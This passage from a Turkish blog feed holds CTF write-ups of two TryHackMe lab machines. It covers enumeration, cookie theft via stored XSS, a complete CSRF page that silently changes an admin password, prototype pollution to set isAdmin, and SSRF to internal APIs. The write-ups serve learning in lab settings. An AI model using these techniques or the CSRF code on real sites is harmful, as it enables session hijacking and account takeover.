[Size: 3108]<br>    logs.txt             (Status: 200) [Size: 0]<br>    logout.php           (Status: 302) [Size: 0] [--&gt; login.php]<br>    phpmyadmin           (Status: 301) [Size: 324] [--&gt; http://worldwap.thm:8081/phpmyadmin/]<br>    profile.php          (Status: 302) [Size: 0] [--&gt; login.php]<br>    server-status        (Status: 403) [Size: 279]<br>    setup.php            (Status: 200) [Size: 149]<br>    Progress: 18452 / 18452 (100.00%)<br>    ===============================================================<br>    Finished<br>    ===============================================================<br><br></pre><ul><li>/assets dizininde birkaç resim dosyası mevcut.</li><li>block.php’yi ziyaret ettiğimde “Reset completed” mesajı alıyorum.</li><li>/change_password.php, /profile.php ve /chat.php endpointleri /login.php’ye yönlendiriyor.</li><li>/clear.php’yi ziyaret ettiğimde “done” mesajı alıyorum.</li><li>/db.php, veritabanıyla ilgilenen bir .php dosyası gibi görünüyor. Ziyaret ettiğimde herhangi bir içerik bulamıyorum.</li><li>/javascript dizini 403 veriyor.</li><li>/logs.txt boş içerik.</li><li>/logout.php, çıkış yapmamızı sağlıyor normal bir şekilde.</li><li>/phpmyadmin dizininde kullanılan veritabanının mysql olduğunu anlıyorum.</li><li>/setup.php’yi ziyaret ettiğimde aşağıdaki ilginç mesajla karşılaşıyorum:</li></ul><pre>      Database created successfully<br>      Table users created successfully<br>      Table messages created successfully<br>      Initial records inserted successfully</pre><p>Sanırım bu endpoint ile veritabanını sıfırlayabiliyorum. Bir kenarda dursun.</p><p>Enumerasyon işlemini şimdilik durduruyorum ve 80. portta keşfettiğim login subdomainine gidiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVmmWf_l0tQKi5LWkmGrtA.png" /><figcaption>Yeni keşfedilen subdomain içeriği</figcaption></figure><p>Evet yine boş bir sayfayla karşılaştım ve sayfa kaynağına baktığımda, bu subdomain’in 8081. portta çalışan HTTP servisiyle aynı olduğunu ve aynı endpointi(/login.php) içerdiğini ve bu endpointin içeriğinin aynı olduğunu fark ettim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*V9S6c3Bo39Lg_VpeG5yitA.png" /><figcaption>8081. portta çalışan HTTP servisiyle aynı içerik</figcaption></figure><p>Sanırım bu subdomain 8081. porta bir işaretçi gibi davranıyor.</p><p>80. portta ziyaret ettiğimiz yer /public/html dizini. Daha geriye gidebiliyor muyum diye /public dizinine gitmeye çalışıyorum ve oluyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*AAH4N7XkZDG6X6UqutTvqw.png" /><figcaption>http://worldwap.thm/public</figcaption></figure><p>Burada, js dizininde önemli javascript kodları var, bunları zamanı gelince inceleyeceğim diye tahmin ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*TPgXG0xg7EtKgsjMCiZ6gA.png" /><figcaption>http://worldwap.thm/public/js</figcaption></figure><p>80. porttaki /public/html/register.php endpointinden sisteme kayıt oluyorum ve /public/html/login.php endpointinden giriş yapmayı denediğimde “User not verified.” mesajıyla karşılaşıyorum.</p><p>İşte şimdi jeton düşüyor, kullanıcı kayıt olduktan sonra sistem tarafından onaylanmak amacıyla login.worldwap.thm subdomainine gitmek zorunda. Ben de öyle yapıyorum ve subdomaindeki /login.php endpointinden giriş yapmaya çalışıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-GDOvpsZKSPE6QNPq9wPg.png" /><figcaption>Kayıt olduktan sonra giriş yapılamıyor</figcaption></figure><p>Fakat yukarıdaki gibi bir mesaj alıyorum. Varsayımım yanlış çıkıyor.</p><p>Burada yaklaşık 4 saate yakın vakit harcadım ve denemediğim bir şey kalmadı sanırım. Denediğim şeylerden bazıları:</p><ul><li>Tüm js kodlarını inceledim,</li><li>localStorage’de depolanan verilere baktım ama hiçbir şey yoktu,</li><li>kullanıcı kayıt olurken potansiyel anahtar değerleri eklemeye çalıştım(verified:true gibi),</li><li>kayıt olma sırasında kullanılan API key’i(X-THM-API-KEY) kırdım ve “johncena” buldum,</li><li>baya tavşan deliğine düştüm buralarda. Malesef en sonunda umutlarım tükendi ve moralim daha fazla kaldırmadı. İpucu amaçlı writeup’a bakmak zorunda kaldım.</li></ul><h4>2) Exploitation 1 - XSS Zaafiyeti ve İlk Bayrak</h4><p>Writeup’ta kaldığım yere baktım ve writeup’u yazan adamın da bu aşamada kaldığını gördüm. O da çok fazla şey denemiş ve en sonunda aradığı kilit cümle gözlerinin önündeymiş: Kayıt olma sayfasındaki mesaj.</p><p>Olay şöyle ki: Kayıt olma sayfasında(/public/html/register.php) şöyle bir mesaj var:</p><blockquote>You can now pre-register! Your details will be reviewed by the site moderator.</blockquote><p>Adam da ben de mesajı gördüğümüz anda olayı çözüyoruz ve writeup’u kapatıyorum. Çünkü ana konuyu anladım. Mantık şöyle ki: Oluşturduğum kullanıcının onaylanması, moderatörün, oluşturduğum kullanıcıyı bir panelden “onayla” tuşuna basmasına bağlı(/public/js/mod.js dosyasının içeriğinden):</p><pre>          // Action column for changing user status<br>          var cellAction = document.createElement(&#39;td&#39;);<br>          var actionLink = document.createElement(&#39;a&#39;);<br>          actionLink.href = `../../../api/mod_update.php?userId=${user.id}`; // Assuming &#39;id&#39; is the identifier in your user data<br>          actionLink.textContent = &#39;Activate&#39;;<br>          cellAction.appendChild(actionLink);<br>          row.appendChild(cellAction);<br><br>          tbody.appendChild(row);<br>        });<br><br></pre><p>Ayrıca önceden yaptığım 4 saatlik test sonucunda da “moderator” kullanıcı adına sahip birinin sistemde yer aldığını da keşfetmiştim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kM7j-szSXmuMd3yvCC0I4A.png" /></figure><p>Demek ki sistemde “moderator” kullanıcı adlı bir kullanıcı halihazırda var ve kullanıcıları doğrulamakla meşgul. Ayrıca PHPSESSID session cookie’si HttpOnly olarak ayarlanmamış dolayısıyla siteler arası cookie aktarımı mümkün:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxNfA0wFbyExET9g-EBrQQ.png" /></figure><p>Hepsini toparlayınca, kafamda şu saldırı senaryosunu kurguluyorum:</p><ul><li>Kendi lokalimde bir web sunucusu açıyorum.</li><li>Kayıt olurken istenen kullanıcı adı, email ve isim kısımlarına, bu kullanıcı doğrulama panelini açan kişinin(bu durumda moderator kullanıcısı) PHPSESSID cookie’sini kendi web sunucuma gönderen XSS payloadları yazıyorum.</li><li>Eğer moderator bu panele girerse ve payloadlarımdan biri de beklendiği gibi çalışırsa, moderator’un PHPSESSID’si benim web sunucuma iletilecek.</li></ul><p>Hemen uygulamaya koyuyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIXgQf6uexhilrTFyRiOYg.png" /><figcaption>XSS zaafiyeti test edilmesi için kurulumlar yapılıyor</figcaption></figure><p>username kısmı için “veri çok büyük” uyarısı alıyorum dolayısıyla username kısmını herhangi bir ifade yapıyorum. Ve 1 dakika sonra moderator’un session cookie’si elime geçiyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pWL3xzAJPHalqzRcunAAg.png" /><figcaption>moderator kullanıcısının PHPSESSID session cookie’si çalınıyor</figcaption></figure><p>Çaldığım bu cookie’yi, tarayıcımdaki geliştirici seçeneklerinden değiştirip sayfayı yeniliyorum ve karşıma /dashboard.php sayfası geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pe7tsM1D57gbD69wXQ7wHQ.png" /><figcaption>http://worldwap.thm/public/html/dashboard.php</figcaption></figure><p>Burada da yazdığı üzere login.worldwap.thm’e gidiyorum ve önüme şöyle bir sayfa ve ilk bayrak geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6p6916diYMPjH7avP-nfw.png" /><figcaption>İlk bayrağın elde edilmesi</figcaption></figure><h4>3) Exploitation 2 — CSRF ve Son Bayrak</h4><p>Bu sayfada erişebildiğim 2 özellik var:</p><ul><li>Parola Değiştirme,</li><li>Chat’teki tek aktif olan “Admin Bot” ile konuşma özelliği.</li></ul><p>Parola değiştirme özelliğini sadece admin kullanıcısı kullanabiliyor gibi görünüyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkBtP1xmvZAXpwUGo7Mr-w.png" /><figcaption>http://login.worldwap.thm/change_password.php</figcaption></figure><p>Admin Bot ile konuşmayı denedim ama bana hiç yanıt vermedi. Parola değiştirmedeki kısıtlamayı görünce bir zaafiyetten şüphelendim(ileride göreceksiniz) bu yüzden Admin Bot’a kendi web sunucumun URL’sini verdim ve birkaç saniye sonra web sunucuma bir istek geldi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UcIljgSJmYpzJ5c2uxwv5g.png" /><figcaption>Admin Bot’tan gelen istek</figcaption></figure><p>Bu iki özellik, “Burada CSRF zaafiyeti var, beni sömürün çabuk!” diye haykırıyor sanki. Ayrıca task açıklamalarından birinde CSRF de geçiyordu, artık emin oldum. Şöyle bir saldırı senaryosu kuruyorum:</p><ul><li>Parola değiştirme işleminin taslağını biliyorum: POST /change_password.php ile yapılıyor ve new_password parametresi ile yeni parola veriliyor(BurpSuite ile tespit edebilirsiniz).</li><li>Kendi web sunucumda, bir web sayfası oluşturarak bu web sayfasının ziyaret edildiği anda parola değiştirme isteğini yollayan bir kod yazıyorum.</li><li>Web sayfamın linkini, Admin Bot’a söylüyorum.</li><li>Admin Bot, web sayfama istek attığı anda benim kodum otomatik olarak, Admin Bot’un login.worldwap.thm’deki session cookie’sini de alarak parola değiştirme isteği yapacak.(CSRF zaafiyeti)</li><li>Böylece Admin Bot’un parolasını haberi olmadan değiştirmiş olacağım.</li></ul><p>Hemen uygulamaya geçiyorum ve yazdığım(biraz yapay zeka destekli :D, malesef JS iyi bilmiyorum.) kod aşağıda:</p><pre>    &lt;html&gt;<br>      &lt;body&gt;<br><br>    &lt;script&gt;<br>    const csrf_url = &quot;http://login.worldwap.thm/change_password.php&quot;;<br>    const new_password = &quot;zuzu123&quot;;<br><br>    let form = document.createElement(&#39;form&#39;);<br>    form.action = csrf_url;<br>    form.method = &#39;POST&#39;;<br>    form.style.display = &#39;none&#39;; <br><br>    let passwordInput = document.createElement(&#39;input&#39;);<br>    passwordInput.type = &#39;hidden&#39;;<br>    passwordInput.name = &#39;new_password&#39;;<br>    passwordInput.value = new_password;<br><br>    form.appendChild(passwordInput);<br><br>    document.body.appendChild(form);<br><br>    form.submit();<br>    &lt;/script&gt;<br>        &lt;/body&gt;<br>      &lt;/html&gt;<br><br></pre><p>Bu HTML kodu tam olarak istediğim şeyi yapıyor: Biri bu HTML sayfasına bir istek atarsa, otomatik olarak parola değiştirme isteği atılarak yeni parola “zuzu123” yapılıyor.(Session cookie’sini tarayıcı otomatik ekliyor çünkü cookie’de SameSite niteliği yok.)</p><p>Kodu test.html olarak kaydedip web sunucumu başlatıyorum ve URL’mi Admin Bot’a iletiyorum, birkaç saniye sonra beklediğim istek geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxB40wyOSrWOHfI7IM-P3g.png" /><figcaption>Admin Bot’tan beklenilen isteğin gelmesi</figcaption></figure><p>Hemen admin kullanıcısının parolasının “zuzu123” ile değişip değişmediğine bakıyorum ve değişmiş. Giriş yaptığımda son bayrak da karşımda bulunmakta.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MAabAlPG0JFBJRJAn6keNw.png" /><figcaption>Admin kullanıcısının hesabına girilmesi ve son bayrağın elde edilmesi</figcaption></figure><p>Böylelikle CTF burada sona eriyor. (Loglara bakarsanız, aradaki 30 dakikalık süre, malesef yanlış yazdığım JS kodlarından kaynaklı. Client-side zaafiyetleri eğlencelidir fakat biraz JS bilmeniz gerekir.)</p><h4>4-) Değerlendirme</h4><p>Kolay gibi görünen, oyalayıcı ve dikkat dağıtan bir CTF’ti. Benim dikkatimi dağıtarak kayıt olma sayfasındaki mesaja dikkat edemememi sağladı. Bu CTF’i çözerken, daha dikkatli olmam gerektiğini ve içeriklere biraz daha detaylı bakmam gerektiğini anladım. Artık buna daha çok dikkat edeceğim. Client-Side zaafiyetleriyle alakalı az CTF çözdüm dolayısıyla biraz zayıfım client-side tarafında. En yakın zamanda kendimi bu alanda daha çok geliştirmeyi umuyorum.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=447a5ceebd6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Include Cozumu/Writeup]]></title>
            <link>https://medium.com/@st4inl3s5/thm-include-cozumu-writeup-d7a87fe042d4?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7a87fe042d4</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-ctf]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 23:24:49 GMT</pubDate>
            <atom:updated>2025-11-18T23:24:49.432Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XR9fs71HcaZZz-BGfKYT1Q.png" /></figure><p>Vize haftası bitti, düzenimize geri döndük. CTF’lerle devam edeceğiz.</p><h4>1-) Recon(Keşif)</h4><p>Makine Adı: Include</p><p>Açıklama: Use your server exploitation skills to take control of a web app.</p><p>Task açıklaması 1:This challenge is an initial test to evaluate your capabilities in web pentesting, particularly for server-side attacks.</p><p>Task açıklaması 2:<em>”Even if it’s not accessible from the browser, can you still find a way to capture the flags and sneak into the secret admin panel?”</em></p><p>Soru 1: What is the flag value after logging in to the SysMon app? (SysMon uygulamasında ilk bayrak mevcut.)</p><p>Soru 2: What is the content of the hidden text file in /var/www/html? (Son bayrak da /var/www/html dizininin altında.)</p><p>Klasik nmap taramasıyla başlıyorum.</p><pre>zuzu@stgma39:~$ sudo nmap -sV -sC -v -O -T4 -p- 10.10.39.216            <br>[sudo] password for zuzu: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-18 15:14 +0300<br>NSE: Loaded 158 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 15:14<br>Completed NSE at 15:14, 0.00s elapsed<br>Initiating NSE at 15:14<br>Completed NSE at 15:14, 0.00s elapsed<br>Initiating NSE at 15:14<br>Completed NSE at 15:14, 0.00s elapsed<br>Initiating Ping Scan at 15:14<br>Scanning 10.10.39.216 [4 ports]<br>Completed Ping Scan at 15:14, 0.09s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 15:14<br>Completed Parallel DNS resolution of 1 host. at 15:14, 0.50s elapsed<br>Initiating SYN Stealth Scan at 15:14<br>Scanning 10.10.39.216 [65535 ports]<br>Discovered open port 143/tcp on 10.10.39.216<br>Discovered open port 22/tcp on 10.10.39.216<br>Discovered open port 995/tcp on 10.10.39.216<br>Discovered open port 993/tcp on 10.10.39.216<br>Discovered open port 110/tcp on 10.10.39.216<br>Discovered open port 25/tcp on 10.10.39.216<br>SYN Stealth Scan Timing: About 10.13% done; ETC: 15:19 (0:04:35 remaining)<br>Discovered open port 4000/tcp on 10.10.39.216<br>Discovered open port 50000/tcp on 10.10.39.216<br>Completed SYN Stealth Scan at 15:16, 82.86s elapsed (65535 total ports)<br>Initiating Service scan at 15:16<br>Scanning 8 services on 10.10.39.216<br>Completed Service scan at 15:16, 13.66s elapsed (8 services on 1 host)<br>Initiating OS detection (try #1) against 10.10.39.216<br>NSE: Script scanning 10.10.39.216.<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 20.52s elapsed<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 3.43s elapsed<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 0.00s elapsed<br>Nmap scan report for 10.10.39.216<br>Host is up (0.084s latency).<br>Not shown: 65527 closed tcp ports (reset)<br>PORT      STATE SERVICE  VERSION<br>22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 29:4a:e7:29:64:31:af:ce:1c:49:82:c5:b4:df:b1:3f (RSA)<br>|   256 47:a0:b8:72:f7:12:b0:63:19:61:b0:28:3f:05:b6:1f (ECDSA)<br>|_  256 26:c1:8b:44:da:11:5b:92:0c:8a:e7:ba:8a:20:ed:98 (ED25519)<br>25/tcp    open  smtp     Postfix smtpd<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal<br>| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-11-10T16:53:34<br>| Not valid after:  2031-11-08T16:53:34<br>| MD5:     05c8 4559 9811 a54f 9c53 b3ee f6ad f0fd<br>| SHA-1:   a24d 7a7f 9ac1 8045 5c5f 5b7c 721a 4e21 0599 ed7c<br>|_SHA-256: 3b59 9d8c f354 edd5 b038 ab62 78a5 643f f059 9d57 e493 a662 5acb 8f6a a181 9956<br>|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING<br>110/tcp   open  pop3     Dovecot pop3d<br>| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal<br>| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-11-10T16:53:34<br>| Not valid after:  2031-11-08T16:53:34<br>| MD5:     05c8 4559 9811 a54f 9c53 b3ee f6ad f0fd<br>| SHA-1:   a24d 7a7f 9ac1 8045 5c5f 5b7c 721a 4e21 0599 ed7c<br>|_SHA-256: 3b59 9d8c f354 edd5 b038 ab62 78a5 643f f059 9d57 e493 a662 5acb 8f6a a181 9956<br>|_pop3-capabilities: SASL RESP-CODES CAPA UIDL STLS AUTH-RESP-CODE PIPELINING TOP<br>|_ssl-date: TLS randomness does not represent time<br>143/tcp   open  imap     Dovecot imapd (Ubuntu)<br>|_imap-capabilities: ID ENABLE have IDLE LITERAL+ more IMAP4rev1 SASL-IR LOGINDISABLEDA0001 post-login capabilities listed LOGIN-REFERRALS STARTTLS Pre-login OK<br>| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal<br>| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-11-10T16:53:34<br>| Not valid after:  2031-11-08T16:53:34<br>| MD5:     05c8 4559 9811 a54f 9c53 b3ee f6ad f0fd<br>| SHA-1:   a24d 7a7f 9ac1 8045 5c5f 5b7c 721a 4e21 0599 ed7c<br>|_SHA-256: 3b59 9d8c f354 edd5 b038 ab62 78a5 643f f059 9d57 e493 a662 5acb 8f6a a181 9956<br>|_ssl-date: TLS randomness does not represent time<br>993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)<br>|_imap-capabilities: ID ENABLE more IDLE LITERAL+ AUTH=PLAIN IMAP4rev1 SASL-IR have AUTH=LOGINA0001 capabilities post-login listed LOGIN-REFERRALS Pre-login OK<br>| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal<br>| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-11-10T16:53:34<br>| Not valid after:  2031-11-08T16:53:34<br>| MD5:     05c8 4559 9811 a54f 9c53 b3ee f6ad f0fd<br>| SHA-1:   a24d 7a7f 9ac1 8045 5c5f 5b7c 721a 4e21 0599 ed7c<br>|_SHA-256: 3b59 9d8c f354 edd5 b038 ab62 78a5 643f f059 9d57 e493 a662 5acb 8f6a a181 9956<br>|_ssl-date: TLS randomness does not represent time<br>995/tcp   open  ssl/pop3 Dovecot pop3d<br>| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal<br>| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-11-10T16:53:34<br>| Not valid after:  2031-11-08T16:53:34<br>| MD5:     05c8 4559 9811 a54f 9c53 b3ee f6ad f0fd<br>| SHA-1:   a24d 7a7f 9ac1 8045 5c5f 5b7c 721a 4e21 0599 ed7c<br>|_SHA-256: 3b59 9d8c f354 edd5 b038 ab62 78a5 643f f059 9d57 e493 a662 5acb 8f6a a181 9956<br>|_ssl-date: TLS randomness does not represent time<br>|_pop3-capabilities: SASL(PLAIN LOGIN) RESP-CODES CAPA UIDL USER AUTH-RESP-CODE PIPELINING TOP<br>4000/tcp  open  http     Node.js (Express middleware)<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Sign In<br>50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: System Monitoring Portal<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 38.798 days (since Fri Oct 10 20:08:01 2025)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=258 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>NSE: Script Post-scanning.<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 0.00s elapsed<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 0.00s elapsed<br>Initiating NSE at 15:16<br>Completed NSE at 15:16, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 122.97 seconds<br>          Raw packets sent: 70170 (3.088MB) | Rcvd: 66132 (2.646MB)<br><br></pre><p>22:SSH, 25:SMTP, 110:POP3, 143:IMAP, 993:IMAP ssl, 995: POP3 ssl, 4000: HTTP(node.js), 50000: HTTP(apache) portları açık gözüküyor.</p><p>Herhangi bir versiyon açığı vesaire bulunmuyor. SMTP, POP3, IMAP servisleri için elimde henüz bir credentials yok ve zaten giriş yapmam da engellenmiş durumda. CTF, web security ile alakalı olduğu için ana hedeflerimi 4000 ve 50000 portları olarak ayarlıyorum.</p><p>4000. portta bulunan sayfa:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*mSQ-NGJ1PgoNaeI9mipU8g.png" /><figcaption>4000. portta çalışan web uygulaması</figcaption></figure><p>guest/guest credentials’ları ile giriş yapabildiğimi belirtiyor.</p><p>50000. portta bulunan sayfa:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e350oev5TOCv9aYzN1K2Uw.png" /><figcaption>50000. portta çalışan web uygulaması</figcaption></figure><p>Ayrıca burada /login.php endpointinde bir giriş sayfası mevcut.</p><p>İlk soruya baktığımda, SysMon’a bir şekilde giriş yapmak zorunda olduğumu anlıyorum. Ama elimde herhangi bir credentials yok. Dolayısıyla 4000. porta geri dönüyorum ve guest/guest ile giriş yapıyorum.</p><p>Bir sosyal medya platformu gibi bir sayfa burası, arkadaş ekleme, profil görüntüleme ve aktivite önerme diye özellikler var.</p><h4>2-) Exploitation 1 — Prototype Pollution Zaafiyeti</h4><p>Burada dikkatimi çarpan yer profil kısmı ve aktivite önerme kısmı:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*KxLrS6netaKYU7M6IkuoAg.png" /><figcaption>Profil ve aktivite önerme fonksiyonalitesi</figcaption></figure><p>Bir aktivite eklediğimde:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Ftxi_eOADvbcR8-WaxhCkg.png" /><figcaption>Aktivite eklendikten sonra profil</figcaption></figure><p>Kullanıcıdan alınan aktivite türü ve ismi, direkt olarak profil detaylarına ekleniyor gibi görünüyor. Burada prototip kirletme(prototype pollution) açığı kokusu alıyorum. isAdmin değerini “true” olarak değiştirmeye çalışıyorum ve oluyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EqV3Nr8wpIMxQyJ2tAXgQ.png" /><figcaption>Aktivite önerme kısmında prototip kirletme zaafiyeti test ediliyor</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6R5h59N7TdCXh6aoz-u1Kg.png" /><figcaption>Prototype Pollution zaafiyeti tespit ediliyor</figcaption></figure><p>Sağ üstte 2 adet yeni seçenek ortaya çıkıyor. Hemen bunları incelemeye alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*dnBOi_UDf8VEDto9Xr723w.png" /><figcaption>API Dashboard sayfası</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*gziTajO74mYzg7qVhBaJjg.png" /><figcaption>Admin Settings sayfası</figcaption></figure><ul><li>API Dashboard’da iki adet API endpointi ve bu API’lerden dönen cevapların bir örneği verilmiş. Sorun şu ki, bu iki API, web sunucusunun içinde bulunduğu ağda(internal API) ve buna sadece web sunucusuyla aynı ağda bulunanlar erişebilir. Burada internal-api’de bir secretKey elde ediyorum, diğer API’de ise sadece kullanıcı adları mevcut, parola kısımları yıldızlı şekilde. Bunları bir kenara not alıyorum.</li><li>Admin Settings kısmında, dashboard’daki banner resmini değiştirebildiğim bir fonksiyonalite var. Buraya bir URL giriyoruz ve dashboard’daki resim, URL’de verdiğimiz resim ile güncelleniyor. TryHackMe’deki makinelerin internete erişimi olmadığından bunu test etmek amacıyla kendi makinemde bir web sunucusu açarak örnek bir resmi paylaşıyorum ve web sayfasındaki URL kısmına <a href="http://kendi_makinem/test.jpg">http://KENDI_MAKINEM/test.jpg</a> yazıp update’e bastığımda, web sunucusundan aşağıdaki isteği alıyorum:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*wbDuNHxtojh-HTxIIu2FXA.png" /><figcaption>Kendi makinemde bir web sunucusu ile resmi paylaşıma açtım ve web sunucusundan resmi isteyen bir istek geldi</figcaption></figure><p>Ve başarıyla banner değişiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*S9OkkcaEUMw3vtSqjCFMUQ.png" /></figure><h4>3-) Exploitation 2 — SSRF Zaafiyeti ve İlk Bayrak</h4><p>Bu tür bir resim değiştirme uygulaması riskli olabilir. Eğer yeterli input validasyonları ve allow list, deny list gibi önlemler alınmadıysa oldukça risklidir. Bu fonksiyonalite, burada SSRF zaafiyeti var diye bağırıyor resmen.</p><p>API dashboard’ındaki internal API’leri hatırladınız mı? Eveeet. İşte burada düşündüğüm olay gerçekleşirse, web sunucusunu, internal API’lere istek attırmaya zorlayabiliriz.</p><p>Banner URL inputuna sırasıyla endpointleri deniyorum ve sonuç harika:</p><ul><li>&lt;<a href="http://127.0.0.1:5000/internal-api">http://127.0.0.1:5000/internal-api</a>&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*LWwQ66MvOtcTB0tZyLal2A.png" /></figure><ul><li>&lt;<a href="http://127.0.0.1:5000/getAllAdmins101099991">http://127.0.0.1:5000/getAllAdmins101099991</a>&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*r8Dll68yZaKksr1Q5o4rlg.png" /></figure><p>İki sonuç da base64 ile encodelanmış durumda. Hemen decode ediyorum:</p><pre>zuzu@stgma39:~/Pictures/jpg_files$ base64 -d      <br>eyJzZWNyZXRLZXkiOiJzdXBlclNlY3JldEtleTEyMyIsImNvbmZpZGVudGlhbEluZm8iOiJUaGlzIGlzIHZlcnkgY29uZmlkZW50aWFsIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9<br>{&quot;secretKey&quot;:&quot;superSecretKey123&quot;,&quot;confidentialInfo&quot;:&quot;This is very confidential information. Handle with care.&quot;}                                          <br><br>zuzu@stgma39:~/Pictures/jpg_files$ base64 